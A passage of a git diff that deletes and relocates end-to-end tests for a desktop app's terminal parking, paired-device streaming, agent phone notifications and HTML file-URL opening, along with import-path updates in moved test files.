it('still streams to the remote subscriber without any renderer mount', async () => { - const runtime = new OrcaRuntimeService() - const provider = createHostProvider() - // A never-mounted pane needs main to attach before daemon output can flow. - provider.session.attached = false - provider.bind(runtime) - runtime.setPtyController(provider.controller as never) - const record = internals(runtime).recordPtyWorktree(provider.ptyId, WORKTREE_ID, { - connected: true - }) - const handle = internals(runtime).issuePtyHandle(record) - const mountSpy = vi.spyOn(runtime, 'requestRendererTerminalTabMount').mockReturnValue(false) - - const harness = startMultiplex(runtime, 'conn-client-c') - await vi.waitFor(() => expect(harness.handlers.has(0)).toBe(true)) - expect(provider.emitData('pre-subscribe\r\n')).toBe(false) - - sendSubscribe(harness, 1, handle, 'client-c') - await waitForSubscribed(harness, 1) - - await vi.waitFor(() => expect(provider.attachCalls).toEqual([provider.ptyId])) - expect(provider.emitData(`${MARKER_AFTER_PARK}\r\n`)).toBe(true) - await vi.waitFor(() => expect(outputText(harness)).toContain(MARKER_AFTER_PARK)) - expect(mountSpy).not.toHaveBeenCalled() - expect(errorFrames(harness)).toBe(0) - }) -}) diff --git a/tests/e2e/host-parked-pane-remote-viewer.spec.ts b/tests/e2e/host-parked-pane-remote-viewer.spec.ts deleted file mode 100644 index be77c7a436a..00000000000 --- a/tests/e2e/host-parked-pane-remote-viewer.spec.ts +++ /dev/null @@ -1,329 +0,0 @@ -// STA-2854: park a desktop host’s pane while its paired desktop keeps viewing it. -// Require typed bytes in the host sink, echoed output in the client’s xterm, and one READY line proving no PTY replacement. -// The old graph leaf loss caused ~16s recovery and discarded park-time input; retaining the leaf keeps the stream connected. -import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import { randomUUID } from 'node:crypto' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { - HOST_TERMINAL_SURFACE_SEPARATOR, - toWebTerminalSurfaceTabId -} from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient -} from './helpers/paired-electron-client' -import { focusActiveTerminalInput } from './helpers/terminal' -import { parkHiddenTabBehindDecoy } from './helpers/terminal-hidden-parking' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -const PARK_DELAY_MS = 30_000 -const PAINT_BUDGET_MS = 20_000 -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-host-park-viewer-')) -const fixturePath = path.join(scratch, 'host-park-viewer-terminal.mjs') -writeFileSync( - fixturePath, - [ - "import { appendFileSync } from 'node:fs'", - 'const sink = process.argv[2]', - 'const record = (line) => appendFileSync(sink, `${line}\\n`)', - 'record(`READY:${process.pid}`)', - 'process.stdout.write(`READY:${process.pid}\\r\\n`)', - "process.stdin.setEncoding('utf8')", - "let pending = ''", - "process.stdin.on('data', (data) => {", - ' pending += data', - ' const lines = pending.split(/\\r\\n|\\r|\\n/)', - " pending = lines.pop() ?? ''", - ' for (const line of lines) {', - ' record(`LINE:${line}`)', - ' process.stdout.write(`LINE:${line}\\r\\n`)', - ' }', - '})', - 'process.stdin.resume()' - ].join('\n') -) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -// Why: the HOST must park quickly too, so its launch env carries the override. -test.use({ orcaAppExtraEnv: { ORCA_E2E_TERMINAL_PARKING_DELAY_MS: String(PARK_DELAY_MS) } }) - -function fixtureCommand(sinkPath: string): string { - const command = [process.execPath, fixturePath, sinkPath] - return process.platform === 'win32' - ? command.map((value) => `"${value.replaceAll('"', '""')}"`).join(' ') - : command.map(quotePosixShell).join(' ') -} - -function readSink(sinkPath: string): string { - try { - return readFileSync(sinkPath, 'utf8') - } catch { - return '' - } -} - -async function callEnvironment( - page: Page, - environmentId: string, - method: string, - params: unknown -): Promise { - return page.evaluate( - async ({ environmentId, method, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method, - params - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { environmentId, method, params } - ) as Promise -} - -async function readPaneContent(page: Page, tabId: string): Promise { - return page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return pane?.serializeAddon?.serialize?.() ?? '' - }, tabId) -} - -async function waitForPaneMarker( - page: Page, - tabId: string, - marker: string, - budgetMs: number -): Promise { - const deadline = Date.now() + budgetMs - while (Date.now() < deadline) { - if ((await readPaneContent(page, tabId)).includes(marker)) { - return true - } - await new Promise((resolve) => setTimeout(resolve, 250)) - } - return false -} - -test('a cold-parked host pane keeps serving its paired remote viewer', async ({ - orcaPage -}, testInfo) => { - test.setTimeout(600_000) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const previousParkDelay = process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS - process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS = String(PARK_DELAY_MS) - const client = await launchPairedElectronClient(offer, testInfo, 'host-park-viewer') - const createdTerminals: string[] = [] - const sinkPath = path.join(scratch, `sink-${randomUUID()}.log`) - try { - const worktreeId = await orcaPage.evaluate(() => { - const id = window.__store?.getState().activeWorktreeId - if (!id) { - throw new Error('headed host has no active worktree') - } - return id - }) - await expect - .poll( - () => - client.page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id) ?? false, - worktreeId - ), - { timeout: 60_000, message: 'paired client never saw the host worktree' } - ) - .toBe(true) - - const created = await callEnvironment<{ tab: { id: string; terminal: string | null } }>( - client.page, - client.environmentId, - 'session.tabs.createTerminal', - { - worktree: `id:${worktreeId}`, - command: fixtureCommand(sinkPath), - activate: false, - select: false, - navigation: 'caller' - } - ) - if (!created.tab.terminal) { - throw new Error('host session terminal was not created') - } - createdTerminals.push(created.tab.terminal) - const hostTabId = created.tab.id.split(HOST_TERMINAL_SURFACE_SEPARATOR)[0] - const webTabId = toWebTerminalSurfaceTabId(hostTabId) - - await orcaPage.evaluate( - ({ worktreeId, tabId }) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(worktreeId) - state?.setActiveTab(tabId) - state?.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - }, - { worktreeId, tabId: hostTabId } - ) - await expect - .poll(() => orcaPage.evaluate((id) => window.__paneManagers?.has(id) ?? false, hostTabId), { - timeout: 60_000, - message: 'host never mounted its own terminal pane' - }) - .toBe(true) - - await expect - .poll( - () => - client.page.evaluate( - (id) => (window.__store?.getState().tabsByWorktree[id] ?? []).map((tab) => tab.id), - worktreeId - ), - { timeout: 60_000, message: 'client never mirrored the host tab' } - ) - .toContain(webTabId) - await client.page.evaluate( - ({ webTabId, worktreeId }) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(worktreeId) - state?.setActiveTab(webTabId) - state?.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - }, - { webTabId, worktreeId } - ) - expect( - await waitForPaneMarker(client.page, webTabId, 'READY:', PAINT_BUDGET_MS), - 'client never painted the host terminal before the host parked it' - ).toBe(true) - - // Prove typing works before parking so focus artifacts cannot masquerade as the regression. - const controlToken = `sta2854-control-${randomUUID().slice(0, 8)}` - await focusActiveTerminalInput(client.page) - await client.page.keyboard.type(controlToken) - await client.page.keyboard.press('Enter') - const controlReached = await (async () => { - const deadline = Date.now() + PAINT_BUDGET_MS - while (Date.now() < deadline) { - if (readSink(sinkPath).includes(`LINE:${controlToken}`)) { - return true - } - await new Promise((resolve) => setTimeout(resolve, 250)) - } - return false - })() - console.log( - `[sta2854] control-reached=${controlReached} sink=${JSON.stringify(readSink(sinkPath))}` - ) - expect( - controlReached, - 'control: client input did not reach the host PTY even before any park' - ).toBe(true) - - // Park the host pane and leave it untouched while the client drives it. - const readClientState = async (): Promise => - client.page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return { - mounted: Boolean(manager), - ptyId: pane?.container?.dataset?.ptyId ?? null, - recoveryState: pane?.container?.dataset?.ptyRecoveryState ?? null - } - }, webTabId) - console.log(`[sta2854] before-park client=${JSON.stringify(await readClientState())}`) - await parkHiddenTabBehindDecoy(orcaPage, worktreeId, hostTabId, { - parkDelayMs: PARK_DELAY_MS - }) - console.log(`[sta2854] post-park client=${JSON.stringify(await readClientState())}`) - - // Check that the parked pane’s host-minted handle remains resolvable. - const handleProbe = await client.page.evaluate( - async ({ environmentId, terminal }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method: 'terminal.read', - params: { terminal } - }) - return response.ok - ? { ok: true as const } - : { ok: false as const, code: response.error.code, message: response.error.message } - }, - { environmentId: client.environmentId, terminal: created.tab.terminal } - ) - console.log(`[sta2854] handle-probe=${JSON.stringify(handleProbe)}`) - - // Type immediately at park time; accepted input must survive any recovery. - const token = `sta2854-${randomUUID().slice(0, 8)}` - await focusActiveTerminalInput(client.page) - await client.page.keyboard.type(token) - await client.page.keyboard.press('Enter') - - // Observe long enough to catch a second park cycle caused by recovery remount. - const timeline: string[] = [] - const timelineDeadline = Date.now() + 90_000 - let inputReached = false - let clientEchoed = false - while (Date.now() < timelineDeadline) { - const hostMounted = await orcaPage.evaluate( - (id) => window.__paneManagers?.has(id) ?? false, - hostTabId - ) - const clientPhase = await client.page.evaluate((id) => { - const manager = window.__paneManagers?.get(id) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - return pane?.container?.dataset?.ptyRecoveryState ?? 'unmounted' - }, webTabId) - inputReached ||= readSink(sinkPath).includes(`LINE:${token}`) - // Require the host echo in the client’s xterm as an independent return-path signal. - clientEchoed ||= (await readPaneContent(client.page, webTabId)).includes(`LINE:${token}`) - timeline.push( - `${hostMounted ? 'H+' : 'H-'}/${clientPhase}${inputReached ? '/in' : ''}${clientEchoed ? '/echo' : ''}` - ) - await new Promise((resolve) => setTimeout(resolve, 2_000)) - } - console.log(`[sta2854] timeline=${JSON.stringify(timeline)}`) - console.log( - `[sta2854] input-reached=${inputReached} client-echoed=${clientEchoed} sink=${JSON.stringify(readSink(sinkPath))}` - ) - - const disruptedSamples = timeline.filter((entry) => !entry.includes('/connected')) - expect( - { disrupted: disruptedSamples.length, timeline }, - 'host-local cold parking disrupted the paired client transport' - ).toEqual({ disrupted: 0, timeline }) - expect( - { inputReached, clientEchoed }, - 'the parked host pane did not carry a full round trip for its remote viewer' - ).toEqual({ inputReached: true, clientEchoed: true }) - - const readyLines = readSink(sinkPath) - .split('\n') - .filter((line) => line.startsWith('READY:')) - expect(readyLines, 'host PTY was replaced across the park').toHaveLength(1) - // Report recovery-driven host remounts in the timeline; continued parking is not itself an invariant. - } finally { - if (previousParkDelay === undefined) { - delete process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS - } else { - process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS = previousParkDelay - } - for (const terminal of createdTerminals) { - await callEnvironment(client.page, client.environmentId, 'terminal.closeTab', { - terminal - }).catch(() => undefined) - } - await client.dispose() - } -}) diff --git a/tests/e2e/host-terminal-agent-phone-push.spec.ts b/tests/e2e/host-terminal-agent-phone-push.spec.ts deleted file mode 100644 index b6cb1cdd748..00000000000 --- a/tests/e2e/host-terminal-agent-phone-push.spec.ts +++ /dev/null @@ -1,151 +0,0 @@ -// #24932: terminal-agent completion/input pushes come from a windowless host, or once from the desktop window. -import { randomUUID } from 'node:crypto' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { postClaudeHook, readHookEndpoint } from './helpers/agent-hook-endpoint' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { createDesktopMobilePairingOffer } from './helpers/paired-electron-client' -import { pairMobileClient, type PairedMobileClient } from './helpers/paired-mobile-client' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { waitForActivePaneHookDescriptor, waitForActiveTerminalManager } from './helpers/terminal' -import type { RuntimeWorktreePsSummary } from '../../src/shared/worktree/catalog/runtime-worktree-contracts' - -type PhoneAlert = { source: string; agentState?: string; worktreeId?: string; title: string } - -/** Every notification the host offers this phone, desktop-suppressed ones included. */ -async function collectPhoneAlerts( - phone: PairedMobileClient, - streamErrors: string[] -): Promise { - const alerts: PhoneAlert[] = [] - let ready = false - await phone.subscribe<{ type: string } & PhoneAlert>( - 'notifications.subscribe', - { includeDesktopSuppressed: true }, - { - onResponse: (response) => { - if (response.ok && response.result.type === 'ready') { - ready = true - } else if (response.ok && response.result.type === 'notification') { - alerts.push(response.result) - } - }, - onError: (error) => streamErrors.push(error.message) - } - ) - await expect.poll(() => ready).toBe(true) - return alerts -} - -const agentAlerts = (alerts: PhoneAlert[]): string[] => - alerts.filter((alert) => alert.source === 'agent-task-complete').map((a) => a.agentState ?? '') - -type WindowDispatchRecorder = typeof globalThis & { - __orcaE2eWindowDispatches?: { source?: string }[] -} - -/** Records each agent request the window sends main, then hands it to the real handler. */ -async function recordWindowDispatches(electronApp: ElectronApplication): Promise { - await electronApp.evaluate(({ ipcMain }) => { - type InvokeHandler = (event: unknown, ...args: unknown[]) => unknown - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: Electron keeps invoke handlers in this private map; the throw below covers its absence. - const registry = (ipcMain as unknown as { _invokeHandlers?: Map }) - ._invokeHandlers - const productionHandler = registry?.get('notifications:dispatch') - if (!productionHandler) { - throw new Error('notifications:dispatch handler was not registered in the main process') - } - const recorded: { source?: string }[] = [] - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: a test-only slot on the main process global, read back below. - ;(globalThis as WindowDispatchRecorder).__orcaE2eWindowDispatches = recorded - ipcMain.removeHandler('notifications:dispatch') - ipcMain.handle('notifications:dispatch', (event, request: { source?: string }, ...rest) => { - recorded.push(request) - return productionHandler(event, request, ...rest) - }) - }) -} - -/** How many agent requests (finish or needs input) the window has sent main. */ -async function windowAgentDispatchCount(electronApp: ElectronApplication): Promise { - return electronApp.evaluate( - () => - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the slot recordWindowDispatches set. - ((globalThis as WindowDispatchRecorder).__orcaE2eWindowDispatches ?? []).filter( - (request) => request.source === 'agent-task-complete' - ).length - ) -} - -test('a host with no window pushes its phone when a terminal agent finishes or needs input', async ({ - testRepoPath -}) => { - test.setTimeout(180_000) - const host = await launchHeadlessPairedRuntimeHost({ pairingScope: 'mobile' }) - const phone = pairMobileClient(host.offer) - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - const { worktrees } = await phone.call<{ worktrees: RuntimeWorktreePsSummary[] }>( - 'worktree.ps', - { limit: 1_000 } - ) - const worktreeId = worktrees.find((row) => row.path === testRepoPath)?.worktreeId ?? '' - expect(worktreeId, 'the phone lists the serve host workspace').not.toBe('') - const endpoint = await readHookEndpoint(host.app) - const pane = { paneKey: `tab-push:${randomUUID()}`, worktreeId } - const streamErrors: string[] = [] - const alerts = await collectPhoneAlerts(phone, streamErrors) - - // A clear settles the pane without finishing a turn: no alert, as the window sends none. - await postClaudeHook(endpoint, pane, { hook_event_name: 'UserPromptSubmit', prompt: '/clear' }) - await postClaudeHook(endpoint, pane, { hook_event_name: 'SessionStart', source: 'clear' }) - await new Promise((resolve) => setTimeout(resolve, 3_000)) - expect(agentAlerts(alerts)).toEqual([]) - - await postClaudeHook(endpoint, pane, { hook_event_name: 'UserPromptSubmit', prompt: 'go' }) - await postClaudeHook(endpoint, pane, { hook_event_name: 'Stop', last_assistant_message: 'ok' }) - await expect.poll(() => agentAlerts(alerts)).toEqual(['done']) - - await postClaudeHook(endpoint, pane, { hook_event_name: 'UserPromptSubmit', prompt: 'more' }) - await postClaudeHook(endpoint, pane, { - hook_event_name: 'PermissionRequest', - tool_name: 'Bash', - tool_input: { command: 'ls' } - }) - await expect.poll(() => agentAlerts(alerts)).toEqual(['done', 'waiting']) - - expect(streamErrors).toEqual([]) - } finally { - phone.dispose() - await host.dispose() - } -}) - -test('a desktop with a window pushes its phone once, from the window, for a terminal agent’s finish', async ({ - orcaPage, - electronApp -}) => { - test.setTimeout(120_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const endpoint = await readHookEndpoint(electronApp) - const pane = await waitForActivePaneHookDescriptor(orcaPage) - await recordWindowDispatches(electronApp) - const phone = pairMobileClient(await createDesktopMobilePairingOffer(orcaPage)) - try { - const streamErrors: string[] = [] - const alerts = await collectPhoneAlerts(phone, streamErrors) - await postClaudeHook(endpoint, pane, { hook_event_name: 'UserPromptSubmit', prompt: 'go' }) - await postClaudeHook(endpoint, pane, { hook_event_name: 'Stop', last_assistant_message: 'ok' }) - await expect.poll(() => windowAgentDispatchCount(electronApp)).toBe(1) - await expect.poll(() => agentAlerts(alerts)).toEqual(['done']) - // Past the 1.5 s quiet window main would have waited, had it pushed too. - await new Promise((resolve) => setTimeout(resolve, 3_000)) - expect(agentAlerts(alerts)).toEqual(['done']) - expect(streamErrors).toEqual([]) - } finally { - phone.dispose() - } -}) diff --git a/tests/e2e/html-file-url-opening.spec.ts b/tests/e2e/html-file-url-opening.spec.ts deleted file mode 100644 index 321864f8af7..00000000000 --- a/tests/e2e/html-file-url-opening.spec.ts +++ /dev/null @@ -1,194 +0,0 @@ -import { mkdirSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { pathToFileURL } from 'node:url' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient -} from './helpers/paired-electron-client' -import { readDocPreviewRenderedText } from './helpers/paired-html-preview-inventory' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -test('opens a local HTML file URL with encoded characters from the new-tab menu', async ({ - electronApp, - orcaPage, - testRepoPath -}, testInfo) => { - const filePath = path.join(testRepoPath, 'report 中%20.html') - writeFileSync(filePath, 'Local file URL

Local HTML rendered

') - const url = pathToFileURL(filePath).href - await waitForSessionReady(orcaPage) - const worktreeId = await waitForActiveWorktree(orcaPage) - await orcaPage.getByRole('button', { name: 'New tab', exact: true }).first().click() - const input = orcaPage.getByRole('combobox', { - name: 'Search open tabs, history, files, URLs, agents…', - exact: true - }) - await input.fill(url) - await expect(orcaPage.getByRole('option', { name: /Open file/ })).toBeVisible() - await input.press('Enter') - await expect - .poll(() => - electronApp.evaluate(async ({ webContents }, fileUrl) => { - const guest = webContents - .getAllWebContents() - .find((contents) => contents.getURL() === fileUrl) - return guest?.executeJavaScript('document.querySelector("h1")?.textContent ?? null') - }, url) - ) - .toBe('Local HTML rendered') - expect( - await orcaPage.evaluate( - ({ worktreeId, url }) => - window.__store - ?.getState() - .browserTabsByWorktree[worktreeId]?.some((tab) => tab.url === url && !tab.docLocation), - { worktreeId, url } - ) - ).toBe(true) - await orcaPage.screenshot({ path: testInfo.outputPath('local-html-file-url.png') }) -}) - -test('opens a pasted HTML file URL from a paired host and reloads its assets', async ({ - orcaPage, - testRepoPath -}, testInfo) => { - test.setTimeout(240_000) - const documentDirectory = path.join(testRepoPath, 'file-url-docs') - mkdirSync(documentDirectory, { recursive: true }) - const filePath = path.join(documentDirectory, 'report one.html') - const assetPath = path.join(documentDirectory, 'report-data.js') - writeFileSync( - filePath, - 'Remote file URL

Remote HTML rendered

' + - '

pending

' - ) - writeFileSync(assetPath, 'document.querySelector("#asset").textContent = "host asset version 1"') - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const client = await launchPairedElectronClient(offer, testInfo, 'HTML file URL host') - try { - await expect - .poll( - () => - client.page.evaluate( - (root) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.path === root), - testRepoPath - ), - { timeout: 120_000 } - ) - .toBe(true) - const worktreeId = await client.page.evaluate( - ({ root, environmentId }) => { - window.localStorage.setItem('orca.browser.markup-draw-hint-seen', 'true') - const state = window.__store?.getState() - const worktree = state?.allWorktrees().find((candidate) => candidate.path === root) - if (!state || !worktree) { - throw new Error('Paired workspace missing') - } - state.setActiveWorktree(worktree.id, `runtime:${environmentId}`) - state.createBrowserTab(worktree.id, 'data:text/html,', { - browserRuntimeEnvironmentId: null, - focusAddressBar: false, - activate: true - }) - return worktree.id - }, - { root: testRepoPath, environmentId: client.environmentId } - ) - await client.page.getByRole('button', { name: 'New tab', exact: true }).first().click() - const input = client.page.getByRole('combobox', { - name: 'Search open tabs, history, files, URLs, agents…', - exact: true - }) - await input.fill(pathToFileURL(filePath).href) - await expect(client.page.getByRole('option', { name: /Open file/ })).toBeVisible() - await input.press('Enter') - await expect - .poll(() => readDocPreviewRenderedText(client.page, 'h1')) - .toBe('Remote HTML rendered') - await expect - .poll(() => readDocPreviewRenderedText(client.page, '#asset')) - .toBe('host asset version 1') - const location = await client.page.evaluate( - ({ worktreeId, filePath }) => - window.__store - ?.getState() - .browserTabsByWorktree[worktreeId]?.find((tab) => tab.docLocation?.filePath === filePath) - ?.docLocation, - { worktreeId, filePath } - ) - expect(location).toEqual({ kind: 'workspace-doc', worktreeId, filePath }) - writeFileSync( - assetPath, - 'document.querySelector("#asset").textContent = "host asset version 2"' - ) - await client.page.getByRole('button', { name: 'Reload preview', exact: true }).click() - await expect - .poll(() => readDocPreviewRenderedText(client.page, '#asset')) - .toBe('host asset version 2') - await client.page.evaluate( - ({ worktreeId, filePath }) => { - const state = window.__store?.getState() - const workspace = state?.browserTabsByWorktree[worktreeId]?.find( - (tab) => tab.docLocation?.filePath === filePath - ) - if (!state || !workspace) { - throw new Error('Document workspace missing') - } - state.createBrowserPage(workspace.id, 'data:text/html,', { - browserRuntimeEnvironmentId: null, - activate: true - }) - }, - { worktreeId, filePath } - ) - await expect(client.page.locator('[data-orca-browser-address-bar]:visible')).toBeFocused() - await client.page.getByRole('button', { name: 'New tab', exact: true }).first().click() - await input.fill(pathToFileURL(filePath).href) - await expect(client.page.getByRole('option', { name: /Open file/ })).toBeVisible() - await input.press('Enter') - await expect - .poll(() => readDocPreviewRenderedText(client.page, '#asset')) - .toBe('host asset version 2') - await client.page.evaluate((worktreeId) => { - window.__store?.getState().createBrowserTab(worktreeId, 'data:text/html,', { - browserRuntimeEnvironmentId: null, - focusAddressBar: false, - activate: true - }) - }, worktreeId) - const address = client.page.locator('[data-orca-browser-address-bar]:visible') - await address.fill(pathToFileURL(filePath).href) - await address.press('Enter') - await expect - .poll(() => readDocPreviewRenderedText(client.page, '#asset')) - .toBe('host asset version 2') - expect( - await client.page.evaluate( - ({ worktreeId, filePath }) => - window.__store - ?.getState() - .browserTabsByWorktree[worktreeId]?.flatMap( - (tab) => window.__store?.getState().browserPagesByWorkspace[tab.id] ?? [] - ) - .filter((page) => page.docLocation?.filePath === filePath).length, - { worktreeId, filePath } - ) - ).toBe(1) - await client.page.screenshot({ path: testInfo.outputPath('remote-html-file-url.png') }) - } catch (error) { - await testInfo.attach('paired-client-failure', { - body: await client.page.screenshot(), - contentType: 'image/png' - }) - throw error - } finally { - await client.dispose() - } -}) diff --git a/tests/e2e/helpers/connector-fake-claude.ts b/tests/e2e/integrations/connectors/connector-fake-claude.ts similarity index 98% rename from tests/e2e/helpers/connector-fake-claude.ts rename to tests/e2e/integrations/connectors/connector-fake-claude.ts index c58dccafd97..5c5b6bf6a46 100644 --- a/tests/e2e/helpers/connector-fake-claude.ts +++ b/tests/e2e/integrations/connectors/connector-fake-claude.ts @@ -1,7 +1,7 @@ // A scripted Claude for connector E2E: real managed hooks, Claude's OSC 7501 activity reports, no model. import { chmodSync, existsSync, readFileSync, writeFileSync } from 'node:fs' import path from 'node:path' -import { getManagedScript } from '../../../src/main/claude/hooks/hook-script' +import { getManagedScript } from '../../../../src/main/claude/hooks/hook-script' /** A message containing this asks for Bash approval, as in the captured approve/deny transcript. */ export const FAKE_CLAUDE_NEEDS_APPROVAL = '[needs-approval]' diff --git a/tests/e2e/github-project-provider-columns.unit.test.ts b/tests/e2e/integrations/github/github-project-provider-columns.unit.test.ts similarity index 80% rename from tests/e2e/github-project-provider-columns.unit.test.ts rename to tests/e2e/integrations/github/github-project-provider-columns.unit.test.ts index 29f9c8b0872..249a92460db 100644 --- a/tests/e2e/github-project-provider-columns.unit.test.ts +++ b/tests/e2e/integrations/github/github-project-provider-columns.unit.test.ts @@ -1,29 +1,29 @@ import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { RawItem } from '../../src/main/github/project-view/project-view-item-normalization' -import '../../src/main/github/project-view/project-view-item-page' -import { fetchAllItems } from '../../src/main/github/project-view/project-view-items' -import { _resetProjectViewCachesForTests } from '../../src/main/github/project-view/project-view-cache' -import { ghExecFileAsync } from '../../src/main/git/command-runner/hosted-cli/gh-exec-file' +import type { RawItem } from '../../../../src/main/github/project-view/project-view-item-normalization' +import '../../../../src/main/github/project-view/project-view-item-page' +import { fetchAllItems } from '../../../../src/main/github/project-view/project-view-items' +import { _resetProjectViewCachesForTests } from '../../../../src/main/github/project-view/project-view-cache' +import { ghExecFileAsync } from '../../../../src/main/git/command-runner/hosted-cli/gh-exec-file' -vi.mock('../../src/main/github/execution/github-operation-slots', () => ({ +vi.mock('../../../../src/main/github/execution/github-operation-slots', () => ({ acquire: vi.fn(), release: vi.fn() })) -vi.mock('../../src/main/git/command-runner/hosted-cli/gh-exec-file', () => ({ +vi.mock('../../../../src/main/git/command-runner/hosted-cli/gh-exec-file', () => ({ ghExecFileAsync: vi.fn() })) -vi.mock('../../src/main/github/project-view/project-host-execution', () => ({ +vi.mock('../../../../src/main/github/project-view/project-host-execution', () => ({ projectHostAuthenticationError: vi.fn().mockResolvedValue(null), projectGhExecOptions: (host?: string) => ({ host }) })) -vi.mock('../../src/main/github/api/rate-limit', () => ({ +vi.mock('../../../../src/main/github/api/rate-limit', () => ({ repositoryRateLimitGuard: () => ({ blocked: false }), noteRepositoryRateLimitSpend: vi.fn() })) -vi.mock('../../src/main/github/project-view/project-view-config', () => ({ +vi.mock('../../../../src/main/github/project-view/project-view-config', () => ({ ownerQueryRoot: () => 'organization' })) diff --git a/tests/e2e/linear-url-workspace-entry.spec.ts b/tests/e2e/integrations/linear/linear-url-workspace-entry.spec.ts similarity index 95% rename from tests/e2e/linear-url-workspace-entry.spec.ts rename to tests/e2e/integrations/linear/linear-url-workspace-entry.spec.ts index 7a211091e08..da42bc60733 100644 --- a/tests/e2e/linear-url-workspace-entry.spec.ts +++ b/tests/e2e/integrations/linear/linear-url-workspace-entry.spec.ts @@ -1,9 +1,10 @@ -import { openSidebarWorkspaceComposer } from './helpers/sidebar-project-dialog' +import { openSidebarWorkspaceComposer } from '../../workspaces/sidebar/sidebar-project-dialog' import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import type { LinearIssue } from '../../src/shared/linear/issue-types' -import type { LinearConnectionStatus } from '../../src/shared/linear/workspace-types' +import { test } from '../../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { waitForActiveWorktree, waitForSessionReady } from '../../desktop/renderer-probes/store' +import type { LinearIssue } from '../../../../src/shared/linear/issue-types' +import type { LinearConnectionStatus } from '../../../../src/shared/linear/workspace-types' const LINEAR_URL = 'https://linear.app/stably/issue/STA-4084/restore-osc-133-shell-integration-when-an-exec-in-user-rc-files-strips' diff --git a/tests/e2e/smart-workspace-linear-read-test-fixtures.tsx b/tests/e2e/integrations/linear/smart-workspace-linear-read-test-fixtures.tsx similarity index 88% rename from tests/e2e/smart-workspace-linear-read-test-fixtures.tsx rename to tests/e2e/integrations/linear/smart-workspace-linear-read-test-fixtures.tsx index 1b511b55604..344524f9c98 100644 --- a/tests/e2e/smart-workspace-linear-read-test-fixtures.tsx +++ b/tests/e2e/integrations/linear/smart-workspace-linear-read-test-fixtures.tsx @@ -6,21 +6,21 @@ import type * as ReactModule from 'react' import { registerRuntimeClientIpcBridge } from '@/hooks/ipc-events/runtime-events/runtime-client-ipc-bridge' import { cleanup } from '@testing-library/react' import { afterEach, vi } from 'vitest' -import { WorkspaceAttachmentSourceStatus } from '../../src/renderer/src/components/sidebar/workspace-card/review/WorkspaceAttachmentSourceStatus' +import { WorkspaceAttachmentSourceStatus } from '../../../../src/renderer/src/components/sidebar/workspace-card/review/WorkspaceAttachmentSourceStatus' import { Command } from '@/components/ui/command' import { referenceLinearIssue, referenceRepo -} from '../../src/renderer/src/components/sidebar/workspace-card/review/workspace-reference-fixtures.test-support' -import { SmartWorkspaceSourceResultList } from '../../src/renderer/src/components/new-workspace/source-search/SmartWorkspaceSourceResultList' -import { useWorkItemSourceSearch } from '../../src/renderer/src/components/new-workspace/source-search/use-work-item-source-search' -import type * as MainLinearClient from '../../src/main/linear/accounts/linear-account-client' +} from '../../../../src/renderer/src/components/sidebar/workspace-card/review/workspace-reference-fixtures.test-support' +import { SmartWorkspaceSourceResultList } from '../../../../src/renderer/src/components/new-workspace/source-search/SmartWorkspaceSourceResultList' +import { useWorkItemSourceSearch } from '../../../../src/renderer/src/components/new-workspace/source-search/use-work-item-source-search' +import type * as MainLinearClient from '../../../../src/main/linear/accounts/linear-account-client' import type * as RuntimeLinearClient from '@/runtime/linear/runtime-linear-client' import type * as RuntimeLinearIssueMutations from '@/runtime/linear/runtime-linear-issue-client' -import type { RuntimeClientEvent } from '../../src/shared/remote-runtime/session-graph/runtime-client-events' -import type { LinearIssue } from '../../src/shared/linear/issue-types' -import type { LinearConnectionStatus } from '../../src/shared/linear/workspace-types' -import type { Repo } from '../../src/shared/repository/repo-types' +import type { 